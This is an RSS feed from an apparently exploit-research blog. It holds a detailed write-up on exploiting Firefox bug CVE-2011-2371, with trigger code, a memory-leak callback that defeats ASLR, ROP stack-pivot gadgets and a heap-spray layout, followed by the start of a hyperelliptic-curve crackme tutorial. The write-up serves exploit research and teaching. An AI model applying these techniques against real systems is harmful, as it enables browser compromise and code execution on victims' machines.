<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>GDTR</title>
	<atom:link href="https://gdtr.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>https://gdtr.wordpress.com</link>
	<description>False prophecies delivered with Internet speed! o_o</description>
	<lastBuildDate>Wed, 22 Feb 2012 21:56:47 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='gdtr.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>https://s-ssl.wordpress.com/i/buttonw-com.png</url>
		<title>GDTR</title>
		<link>https://gdtr.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="https://gdtr.wordpress.com/osd.xml" title="GDTR" />
	<atom:link rel='hub' href='https://gdtr.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Exploiting CVE-2011-2371 (FF reduceRight) without non-ASLR modules</title>
		<link>https://gdtr.wordpress.com/2012/02/22/exploiting-cve-2011-2371-without-non-aslr-modules/</link>
		<comments>https://gdtr.wordpress.com/2012/02/22/exploiting-cve-2011-2371-without-non-aslr-modules/#comments</comments>
		<pubDate>Wed, 22 Feb 2012 21:52:05 +0000</pubDate>
		<dc:creator>p_k</dc:creator>
				<category><![CDATA[Exploit development]]></category>
		<category><![CDATA[aslr]]></category>
		<category><![CDATA[cve-2011-2371]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[infoleak]]></category>
		<category><![CDATA[java]]></category>

		<guid isPermaLink="false">http://gdtr.wordpress.com/?p=400</guid>
		<description><![CDATA[CVE-2011-2371 (found by Chris Rohlf and Yan Ivnitskiy) is a bug in Firefox versions &#60;= 4.0.1. It has an interesting property of being a code-exec and an info-leak bug at the same time. Unfortunately, all public exploits targeting this vulnerability rely on non-ASLR modules (like those present in Java). In this post I&#8217;ll show how [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gdtr.wordpress.com&amp;blog=24443863&amp;post=400&amp;subd=gdtr&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>CVE-2011-2371 (found by Chris Rohlf and Yan Ivnitskiy) is a bug in Firefox versions &lt;= 4.0.1. It has an interesting property of being a code-exec and an info-leak bug at the same time. Unfortunately, all public exploits targeting this vulnerability rely on non-ASLR modules (like those present in Java).</p>
<p><a href="http://gdtr.files.wordpress.com/2012/02/bug.gif"><img class="aligncenter size-full wp-image-401" title="cve-2011-2371" src="http://gdtr.files.wordpress.com/2012/02/bug.gif?w=600" alt=""   /></a></p>
<p>In this post I&#8217;ll show how to exploit this vulnerability on Firefox 4.0.1/Window 7, by leaking imagebase of one of Firefox&#8217;s modules, thus circumventing ASLR without any additional dependencies.</p>
<p><span id="more-400"></span></p>
<h2 style="text-align:center;">The bug</h2>
<p>&nbsp;</p>
<p>You can see the original bug report with detailed analysis <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=664009">here</a>. To make a long story short, this is the trigger:</p>
<pre>xyz = new Array;
xyz.length = 0x80100000;

a = function foo(prev, current, index, array) {
	current[0] = 0x41424344;
}

xyz.reduceRight(a,1,2,3);</pre>
<p>Executing it crashes Firefox:</p>
<pre>eax=0454f230 ebx=03a63da0 ecx=800fffff edx=01c6f000 esi=0012cd68 edi=0454f208
eip=004f0be1 esp=0012ccd0 ebp=0012cd1c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mozjs!JS_FreeArenaPool+0x15e1:
004f0be1 8b14c8          mov     edx,dword ptr [eax+ecx*8] ds:0023:04d4f228=????????</pre>
<p>eax holds a pointer to &#8220;xyz&#8221; array and ecx is equal to xyz.length-1. reduceRight visits all elements of given array in reverse order, so if the read @ 004f0be1 succeeds and we won&#8217;t crash inside the callback function (foo), JS interpreter will loop the above code with decreasing values in ecx.</p>
<p>Value read @ 004f0be1 is passed to foo() as the &#8220;current&#8221; argument. This means we can trick the JS interpreter into passing random stuff from heap to our javascript callback. Notice we fully control the array&#8217;s length, and since ecx is multiplied by 8 (bitshifted left by 3 bits), we can access memory before of after the array, by setting/clearing the 29th bit of length. Neat <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>During reduceRight(), the interpreter expects jsval_layout unions:</p>
<pre>http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h

274 typedef union jsval_layout
275 {
276     uint64 asBits;
277     struct {
278         union {
279             int32          i32;
280             uint32         u32;
281             JSBool         boo;
282             JSString       *str;
283             JSObject       *obj;
284             void           *ptr;
285             JSWhyMagic     why;
286             jsuword        word;
287         } payload;
288         JSValueTag tag;
289     } s;
290     double asDouble;
291     void *asPtr;
292 } jsval_layout;</pre>
<p>To be more specific, we are interested in the &#8220;payload&#8221; struct. Possible values for &#8220;tag&#8221; are:</p>
<pre>http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h

92 JS_ENUM_HEADER(JSValueType, uint8)
93 {
94     JSVAL_TYPE_DOUBLE              = 0x00,
95     JSVAL_TYPE_INT32               = 0x01,
96     JSVAL_TYPE_UNDEFINED           = 0x02,
97     JSVAL_TYPE_BOOLEAN             = 0x03,
98     JSVAL_TYPE_MAGIC               = 0x04,
99     JSVAL_TYPE_STRING              = 0x05,
100     JSVAL_TYPE_NULL                = 0x06,
101     JSVAL_TYPE_OBJECT              = 0x07,
...
119 JS_ENUM_HEADER(JSValueTag, uint32)
120 {
121     JSVAL_TAG_CLEAR                = 0xFFFF0000,
122     JSVAL_TAG_INT32                = JSVAL_TAG_CLEAR | JSVAL_TYPE_INT32,
123     JSVAL_TAG_UNDEFINED            = JSVAL_TAG_CLEAR | JSVAL_TYPE_UNDEFINED,
124     JSVAL_TAG_STRING               = JSVAL_TAG_CLEAR | JSVAL_TYPE_STRING,
125     JSVAL_TAG_BOOLEAN              = JSVAL_TAG_CLEAR | JSVAL_TYPE_BOOLEAN,
126     JSVAL_TAG_MAGIC                = JSVAL_TAG_CLEAR | JSVAL_TYPE_MAGIC,
127     JSVAL_TAG_NULL                 = JSVAL_TAG_CLEAR | JSVAL_TYPE_NULL,
128     JSVAL_TAG_OBJECT               = JSVAL_TAG_CLEAR | JSVAL_TYPE_OBJECT
129 } JS_ENUM_FOOTER(JSValueTag);</pre>
<p>Does it mean we can only read first dwords of pairs (d1,d2), where d2=JSVAL_TAG_INT32 or d2=JSVAL_TYPE_DOUBLE? Fortunately for us, no. Observe how the interpreter checks if a jsval_layout is a number:</p>
<pre>http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h

405 static JS_ALWAYS_INLINE JSBool
406 JSVAL_IS_NUMBER_IMPL(jsval_layout l)
407 {
408     JSValueTag tag = l.s.tag;
409     JS_ASSERT(tag != JSVAL_TAG_CLEAR);
410     return (uint32)tag &lt;= (uint32)JSVAL_UPPER_INCL_TAG_OF_NUMBER_SET;</pre>
<p>So any pair of dwords (d1, d2), with d2&lt;=JSVAL_UPPER_INCL_TAG_OF_NUMBER_SET (which is equal to JSVAL_TAG_INT32) is interpreted as a number.</p>
<p>This isn&#8217;t the end of good news, check how doubles are recognized:</p>
<pre>http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h

369 static JS_ALWAYS_INLINE JSBool
370 JSVAL_IS_DOUBLE_IMPL(jsval_layout l)
371 {
372     return (uint32)l.s.tag &lt;= (uint32)JSVAL_TAG_CLEAR;
373 }</pre>
<p>This means that any pair (d1,d2) with d2&lt;=0xffff0000 is interpreted as a double-precision floating point number. It&#8217;s a clever way of saving space, since doubles with all bits of the exponent set and nonzero mantissa are NaNs anyway, so rejecting doubles greater than 0xffff 0000 0000 0000 0000 isn&#8217;t really a problem &#8212; we are just throwing out NaNs.</p>
<p>&nbsp;</p>
<h2 style="text-align:center;">Leaking the image base</h2>
<p>&nbsp;</p>
<p>Knowing that most of values read off the heap are interpreted as doubles in our javascript callback (function foo above), we can use a library like <a href="https://github.com/pgriess/node-jspack">JSPack</a> to decode them to byte sequences.</p>
<pre>        var leak_func =
            function bleh(prev, current, index, array) {
                if(typeof current == "number"){
                    mem.push(current); //decode with JSPack later
                }
                count += 1;
                if(count&gt;=CHUNK_SIZE/8){
                    throw "lol"; //stop dumping
                }
        }</pre>
<p>Notice that we are verifying the type of “current”. It’s necessary because if we encounter a jsval_value of type OBJECT, manipulating it later will cause an undesired crash.</p>
<p>Having a chunk of memory, we still need to comb it for values revealing the image base of mozjs.dll (that’s the module implementing reduceRight). Good candidates are pointers to functions in .code section, or pointers to data structures in .data, but how to find them? After all, they change with every run, because of varying image base.</p>
<p>By examining dumped memory manually, I noticed it’s always possible to find a pair of pointers (with fixed RVAs) to .data section, differing by a constant (0×304), so a simple algorithm is to sequentially scan pairs of dwords, check if their difference is 0×304 and use their (known) RVAs to calculate mozjs’ image base (image_base = ptr_va – ptr_rva).</p>
<p>It&#8217;s a heuristic, but it works 100% of the time <img src="http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif?m=1305726114g" alt=":)" /> .</p>
<p>&nbsp;</p>
<h2 style="text-align:center;">Taking control</h2>
<p>&nbsp;</p>
<p>Assume we are able to pass a controlled jsval_layout with tag=JSVAL_TYPE_OBJECT to our JS callback. Here&#8217;s what happens after executing &#8220;current[0]=1&#8243; if the &#8220;payload.ptr&#8221; field points to an area filled with \x88:</p>
<pre>eax=00000001 ebx=00000009 ecx=40000004 edx=00000009 esi=055101b0 edi=88888888
eip=655301a9 esp=0048c2a0 ebp=13801000 iopl=0         ov up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010a06
mozjs!js::mjit::stubs::SetElem$lt;0&gt;+0xf9:
655301a9 8b4764          mov     eax,dword ptr [edi+64h] ds:002b:888888ec=????????

0:000&gt; k
ChildEBP RetAddr
0048c308 6543fc4c mozjs!js::mjit::stubs::SetElem&lt;0&gt;+0xf9 [...js\src\methodjit\stubcalls.cpp @ 567]
0048c334 65445d99 mozjs!js::InvokeSessionGuard::invoke+0x13c [...\js\src\jsinterpinlines.h @ 619]
0048c418 65445fa6 mozjs!array_extra+0x3d9 [...\js\src\jsarray.cpp @ 2857]
0048c42c 65485221 mozjs!array_reduceRight+0x16 [...\js\src\jsarray.cpp @ 2932]</pre>
<p>We are using \x88 as a filler, so that every pointer taken from that area is equal to 0&#215;88888888. Since the highest bit is set (and the pointer points to kernel space), every dereference will cause a crash and we will notice it under a debugger. Using low values, like 0x0c, as a filler during exploit development can make us miss crashes, if 0x0c0c0c0c happens to be mapped <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> .</p>
<p>It seems like we can control the value of edi. Let&#8217;s see if it&#8217;s of any use:</p>
<pre>0:000&gt; u eip l10
mozjs!js::mjit::stubs::SetElem&lt;0&gt;+0xf9 [...\js\src\methodjit\stubcalls.cpp @ 567]:
655301a9 8b4764          mov     eax,dword ptr [edi+64h]
655301ac 85c0            test    eax,eax
655301ae 7505            jne     mozjs!js::mjit::stubs::SetElem&lt;0&gt;+0x105 (655301b5)
655301b0 b830bb4965      mov     eax,offset mozjs!js_SetProperty (6549bb30)
655301b5 8b54241c        mov     edx,dword ptr [esp+1Ch]
655301b9 6a00            push    0
655301bb 8d4c2424        lea     ecx,[esp+24h]
655301bf 51              push    ecx
655301c0 53              push    ebx
655301c1 55              push    ebp
655301c2 52              push    edx
655301c3 ffd0            call    eax
655301c5 83c414          add     esp,14h
655301c8 85c0            test    eax,eax</pre>
<p>That&#8217;s exactly what we need &#8212; value from [edi+64h] (edi is controlled) is a function pointer called @ 655301c3.</p>
<p>Where does edi value come from?</p>
<pre>0:000&gt; u eip-72 l10
mozjs!js::mjit::stubs::SetElem&lt;0&gt;+0x87 [...\js\src\methodjit\stubcalls.cpp @ 552]:
65530137 8b7d04          mov     edi,dword ptr [ebp+4]
6553013a 81ffb05f5e65    cmp     edi,offset mozjs!js_ArrayClass (655e5fb0)
65530140 8b5c2414        mov     ebx,dword ptr [esp+14h]
65530144 7563            jne     mozjs!js::mjit::stubs::SetElem&lt;0&gt;+0xf9 (655301a9)</pre>
<p>edi=[ebp+4], where ebp is equal to payload.ptr in our jsval_layout union.</p>
<p>It&#8217;s now easy to see how to control EIP. Trigger setElem on a controlled jsval_layout union (by executing &#8220;current[0]=1&#8243; in the JS callback of reduceRight), with tag=JSVAL_TYPE_OBJECT, and ptr=PTR_TO_CONTROLLED_MEM, where [CONTROLLED_MEM+4]=NEW_EIP. Easy <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
<p>Since ASLR is not an issue (we already have mozjs&#8217; image base) we can circumvent DEP with return oriented programming. With <a href="https://www.corelan.be/index.php/2011/06/16/mona-1-0-released/">mona.py</a> it&#8217;s very easy to generate a ROP chain that will allocate a RWX memory chunk. From that chunk, we can run our &#8220;normal&#8221; shellcode, without worrying about DEP.</p>
<pre>!mona rop -m "mozjs" -rva</pre>
<p>&#8220;-m&#8221; restricts search to just mozjs.dll (that&#8217;s the only module with known image base)<br />
&#8220;-rva&#8221; generates a chain parametrized by module&#8217;s image base.</p>
<p>I won&#8217;t paste the output, but mona is able to find a chain that uses VirtualAlloc to change memory permissions to RWX.</p>
<p>There&#8217;s only one problem. In order to use that chain, we need to control the stack. During the call @ 655301c3, we don&#8217;t. Fortunately, we do control EBP, which is equal to layout.ptr field in our fake object. First idea is to use any function&#8217;s epilogue:</p>
<pre>mov esp, ebp
pop ebp
ret</pre>
<p>as a pivot, but notice that RET will transfer control to an address stored in [ebp+4], and since:</p>
<pre>65530137 8b7d04          mov     edi,dword ptr [ebp+4]</pre>
<p>that would mean [ebp+4] has to be a return address and a pointer to a function pointer called later @ 655301c3.</p>
<p>We have to modify EBP before copying it to ESP. Noticing that during SetElem, property&#8217;s id is passed in EBX as 2*id+1 (when executing &#8220;current[id] = &#8230;&#8221;), it&#8217;s easy to pick a good gadget:</p>
<pre>// 0x68e7a21c, mozjs.dll
// found with mona.py
ADD EBP,EBX
PUSH DS
POP EDI
POP ESI
POP EBX
MOV ESP,EBP //(1)
POP EBP //(2)
RETN</pre>
<p>This will offset EBP by a controlled ODD value. Unicode chars in JS have two byte chars, so it&#8217;s better to have EBP aligned to 2. We can realign ESP by pivoting again with new EBP value popped @ (2) and executing the same gadget from line (1).</p>
<p>This is how our fake object has to look like:</p>
<pre>+------------+
|            |      9       13          17
v------------+----------------------------------------------------------------------+
|pivot_va | ptr | 00,new_ebp,mov_esp_ebp,00 | new_ebp2 | ROP ... normal shellcode ...
+-----------------------+-----------------------------------------------------------+
0         4     8       |                   18         22
                        |                   ^
                        |                   |
                        +-------------------+</pre>
<p>pivot_va &#8211; address of the gadget above<br />
new_ebp &#8211; value popped at (2) used to realign the stack to 2<br />
mov_esp_ebp &#8211; address of (1)<br />
new_ebp2 &#8211; new value of EBP after executing (2) for the second time, not used<br />
ROP &#8211; generated ROP chain changing memory perms<br />
normal shellcode &#8211; message box shellcode by Skylined</p>
<p>&nbsp;</p>
<h2 style="text-align:center;">Spraying</h2>
<p>&nbsp;</p>
<p>Here&#8217;s a nice diagram (<a href="http://asciiflow.com">asciiflow</a> FTW) describing how we are going to arrange (or attempt to arrange) things in memory:</p>
<pre>                low addresses
           +---------------------+
     +-------+ ptr  | 0xffff0007 | ^
     |     +---------------------| |
     |     |                     | |
     |     |         .           | |
     |     |         .           | |
     |     |         .           | |
     |     +---------------------| | half1
     |  +----+ ptr  | 0xffff0007 | |
     |  |  +---------------------| |
     |  |  |         .           | |
     |  |  |         .           | |
     |  |  |         .           | |
     |  |  |                     | v
     |  |  +-----end of half1----+
     |  |  |                     | ^
     |  |  |                     | |
     |  |  |                     | | margin of
     |  |  |         .           | | error
     |  |  |         .           | |
     |  |  +---------------------+ v
     +--|---&gt; fake object        |
        |  +--^------------------+
        |  |  |      .           |
        |  |  |      .           |
        +-----+                  |
           |                     |
           |                     |
           +---------------------+
                high addresses</pre>
<p>Our spray will consist of two regions. First one will be filled with jsval_layout unions, with tag=0xffff0007 (JSVAL_TYPE_OBJECT) and ptr pointing to the second region, filled with fake objects described above.</p>
<p>If you run the PoC exploit on Windows XP, this is how (most likely) the heap is going to look like:</p>
<p><a href="http://gdtr.files.wordpress.com/2012/02/spray.jpg"><img class="aligncenter size-full wp-image-428" title="spray" src="http://gdtr.files.wordpress.com/2012/02/spray.jpg?w=600" alt=""   /></a></p>
<p>Zooming into of the 1MB chunks:</p>
<p><a href="http://gdtr.files.wordpress.com/2012/02/spray_h1.jpg"><img class="aligncenter size-full wp-image-429" title="spray_h1" src="http://gdtr.files.wordpress.com/2012/02/spray_h1.jpg?w=600" alt=""   /></a></p>
<p>Notice how our payload is aligned to 4KB boundary. This is because of how the spray is implemented: unicode strings are stored in an array. Beginning of the array is used to store metadata, and the actual data starts @ +4KB. It&#8217;s also useful to note that older versions of FF <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=675150">have a bug</a> related to rounding allocation sizes and, in effect, allocating too much memory for objects (including strings), so instead of nicely aligned strings in array, we will get strings interleaved with chunks containing NULL bytes (I&#8217;ll explain why this isn&#8217;t a problem in a sec.).</p>
<p>This is how the fake objects from the second part of spray look like:</p>
<p><a href="http://gdtr.files.wordpress.com/2012/02/spray_h2.jpg"><img class="aligncenter size-full wp-image-432" title="spray_h2" src="http://gdtr.files.wordpress.com/2012/02/spray_h2.jpg?w=600" alt=""   /></a></p>
<p>Four NOPs at the bottom mark the end of mona&#8217;s ROP chain.</p>
<p>&nbsp;</p>
<h2 style="text-align:center;">Putting it all together</h2>
<p>&nbsp;</p>
<ul>
<li>Leak mozjs&#8217; image base, as described above.</li>
<li>Spray the heap with JS, as described above.</li>
<li>Note where the spray starts in memory, across different OSes. Different versions of the exploit should use OS-specific constants for calculating array&#8217;s length used in reduceRight().</li>
<li>Calculate the length of the array (xyz in the trigger PoC) so that the first dereference should happen in the middle of first half of the spray. Aiming at the middle gives us the biggest possible margin of error &#8212; if the spray&#8217;s starting address deviates from expected value by less than size/2, it shouldn&#8217;t affect our exploit.</li>
<li>Trigger the bug.</li>
<li>Inside JS callback, trigger SetElem, by executing &#8220;current[4]=1&#8243;. In case of a JS exception (TypeError: current is undefined), change array&#8217;s length and continue. These exceptions are caused by NULL areas between strings. Encountering them isn&#8217;t fatal, because the JS interpreter sees them as &#8220;undefined&#8221; values and throws us a JS exception, instead of crashing <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</li>
<li>See a nice messagebox, confirming success <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </li>
</ul>
<p><a href="http://gdtr.files.wordpress.com/2012/02/msgbox.jpg"><img class="aligncenter size-full wp-image-435" title="msgbox" src="http://gdtr.files.wordpress.com/2012/02/msgbox.jpg?w=600" alt=""   /></a></p>
<p>&nbsp;</p>
<h2 style="text-align:center;">Limitations</h2>
<p>&nbsp;</p>
<p><a href="https://github.com/pakt/exp-dev/tree/master/cve-2011-2371">PoC exploit</a> assumes (like all other public exploits for this bug) that the heap is not polluted by previous allocations. This is a bit unrealistic, because the most common &#8220;use-case&#8221; is that the victim clicks a link leading to the exploit, meaning the browser is already running and most likely has many tabs already opened. In that situation our spray probably won&#8217;t be a continuous chunk of memory, which will lead to problems (crashes).</p>
<p>Assuming that the PoC is the first and only page opened in Firefox, probability of success (running shellcode) depends on how long we need to search for mozjs&#8217; image base. The longer it takes, the more trash gets accumulated on the heap, resulting in more &#8220;discontinuities&#8221; in the spray region.</p>
<p>Get the PoC <a href="https://github.com/pakt/exp-dev/tree/master/cve-2011-2371">here</a>.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gdtr.wordpress.com/400/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gdtr.wordpress.com/400/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/gdtr.wordpress.com/400/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/gdtr.wordpress.com/400/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/gdtr.wordpress.com/400/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/gdtr.wordpress.com/400/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/gdtr.wordpress.com/400/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/gdtr.wordpress.com/400/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/gdtr.wordpress.com/400/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/gdtr.wordpress.com/400/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/gdtr.wordpress.com/400/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/gdtr.wordpress.com/400/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/gdtr.wordpress.com/400/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/gdtr.wordpress.com/400/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gdtr.wordpress.com&amp;blog=24443863&amp;post=400&amp;subd=gdtr&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>https://gdtr.wordpress.com/2012/02/22/exploiting-cve-2011-2371-without-non-aslr-modules/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="https://secure.gravatar.com/avatar/3ce7e4333d87845876ff400638a5f545?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gdtr</media:title>
		</media:content>

		<media:content url="http://gdtr.files.wordpress.com/2012/02/bug.gif" medium="image">
			<media:title type="html">cve-2011-2371</media:title>
		</media:content>

		<media:content url="http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif?m=1305726114g" medium="image">
			<media:title type="html">:)</media:title>
		</media:content>

		<media:content url="http://gdtr.files.wordpress.com/2012/02/spray.jpg" medium="image">
			<media:title type="html">spray</media:title>
		</media:content>

		<media:content url="http://gdtr.files.wordpress.com/2012/02/spray_h1.jpg" medium="image">
			<media:title type="html">spray_h1</media:title>
		</media:content>

		<media:content url="http://gdtr.files.wordpress.com/2012/02/spray_h2.jpg" medium="image">
			<media:title type="html">spray_h2</media:title>
		</media:content>

		<media:content url="http://gdtr.files.wordpress.com/2012/02/msgbox.jpg" medium="image">
			<media:title type="html">msgbox</media:title>
		</media:content>
	</item>
		<item>
		<title>Hyperelliptic curve crypto &#8212; Dcoder&#8217;s keygenme #2</title>
		<link>https://gdtr.wordpress.com/2011/09/26/hyperelliptic-curve-crypto-dcoders-keygenme-2/</link>
		<comments>https://gdtr.wordpress.com/2011/09/26/hyperelliptic-curve-crypto-dcoders-keygenme-2/#comments</comments>
		<pubDate>Mon, 26 Sep 2011 21:10:33 +0000</pubDate>
		<dc:creator>p_k</dc:creator>
				<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[crackme]]></category>
		<category><![CDATA[hyperelliptic curve cryptography]]></category>
		<category><![CDATA[jacobian]]></category>
		<category><![CDATA[pollard's kangaroo]]></category>
		<category><![CDATA[reverse engineering]]></category>

		<guid isPermaLink="false">http://gdtr.wordpress.com/?p=249</guid>
		<description><![CDATA[Apparently ordinary elliptic curves in crackmes are getting boring, so Dcoder decided to make things interesting with hyperelliptic curves. Due to intricate nature of HE curves, performing computations on them is more expensive, than for ordinary curves, but on the other hand HE curves provide superior bitstrength security, with regard to size of the base [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gdtr.wordpress.com&amp;blog=24443863&amp;post=249&amp;subd=gdtr&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Apparently ordinary elliptic curves in crackmes are getting boring, so <a href="http://crackmes.us/read.py?id=149">Dcoder</a> decided to make things interesting with hyperelliptic curves. Due to intricate nature of HE curves, performing computations on them is more expensive, than for ordinary curves, but on the other hand HE curves provide superior bitstrength security, with regard to size of the base field, they are defined over.</p>
<p><a href="http://gdtr.files.wordpress.com/2011/09/hecadd.png"><img class="aligncenter size-full wp-image-251" title="hecadd" src="http://gdtr.files.wordpress.com/2011/09/hecadd.png?w=600" alt=""   /></a></p>
<p>In this blog post, I will try to introduce HE curves, and how to use them in crypto. Using that knowledgle, it will be easy to analyze and break a signature scheme implemented in <a href="http://crackmes.us/read.py?id=149">keygenme #2 by Dcoder</a>. Note that this won&#8217;t be a rigorous mathematical dissertation, but a &#8220;tutorial&#8221; for mathematically inclined programmer <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p><span id="more-249"></span></p>
<h1 style="text-align:center;"></h1>
<h1 style="text-align:center;">Hyperelliptic curves</h1>
<p>&nbsp;</p>
<p>The most general definition of an elliptic curve, is</p>
<p style="text-align:center;"><img src='https://s-ssl.wordpress.com/latex.php?latex=E+%3D+%5C%7B%28x%2Cy%29%3A+y%5E2%2Ba_1xy+%3D+a_2x%5E3%2Ba_3x%5E2%2Ba_4x%2Ba_5%5C%7D&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='E = &#92;{(x,y): y^2+a_1xy = a_2x^3+a_3x^2+a_4x+a_5&#92;}' title='E = &#92;{(x,y): y^2+a_1xy = a_2x^3+a_3x^2+a_4x+a_5&#92;}' class='latex' />.</p>
<p><img src='https://s-ssl.wordpress.com/latex.php?latex=E&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='E' title='E' class='latex' /> is just a set of points fulfilling an equation that is quadratic in terms of <img src='https://s-ssl.wordpress.com/latex.php?latex=y&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='y' title='y' class='latex' /> and cubic in <img src='https://s-ssl.wordpress.com/latex.php?latex=x&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='x' title='x' class='latex' />. By introducting a special point <img src='https://s-ssl.wordpress.com/latex.php?latex=O&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='O' title='O' class='latex' /> (point at infinity) it&#8217;s possible to equip <img src='https://s-ssl.wordpress.com/latex.php?latex=E&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='E' title='E' class='latex' /> with &#8220;<a href="http://www.certicom.com/index.php/21-elliptic-curve-addition-a-geometric-approach">point addition</a>&#8220;, turning it into an <a href="http://en.wikipedia.org/wiki/Abelian_group">abelian group</a>.</p>
<p>Hyperelliptic curves are more complicated. HE curve of genus <img src='https://s-ssl.wordpress.com/latex.php?latex=g&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='g' title='g' class='latex' /> over a field <img src='https://s-ssl.wordpress.com/latex.php?latex=K&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='K' title='K' class='latex' /> is defined as:</p>
<p style="text-align:center;"><img src='https://s-ssl.wordpress.com/latex.php?latex=H%3A+y%5E2%2Bh%28x%29y+%3D+f%28x%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='H: y^2+h(x)y = f(x)' title='H: y^2+h(x)y = f(x)' class='latex' /></p>
<p>where <img src='https://s-ssl.wordpress.com/latex.php?latex=f%28x%29%2Ch%28x%29+%5Cin+K%5Bx%5D&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='f(x),h(x) &#92;in K[x]' title='f(x),h(x) &#92;in K[x]' class='latex' />, <img src='https://s-ssl.wordpress.com/latex.php?latex=deg%28h%29+%5Cleq+g&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='deg(h) &#92;leq g' title='deg(h) &#92;leq g' class='latex' />, <img src='https://s-ssl.wordpress.com/latex.php?latex=deg%28f%29+%3D+2g%2B1&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='deg(f) = 2g+1' title='deg(f) = 2g+1' class='latex' />, and <img src='https://s-ssl.wordpress.com/latex.php?latex=f&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='f' title='f' class='latex' /> monic. Elliptic curves are hyperelliptic curves with <img src='https://s-ssl.wordpress.com/latex.php?latex=g%3D1&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='g=1' title='g=1' class='latex' />. To define addition on <img src='https://s-ssl.wordpress.com/latex.php?latex=H&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='H' title='H' class='latex' />, we need to jump through few mathematical hoops <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<h3 style="text-align:center;">Zeros and poles</h3>
<p>&nbsp;</p>
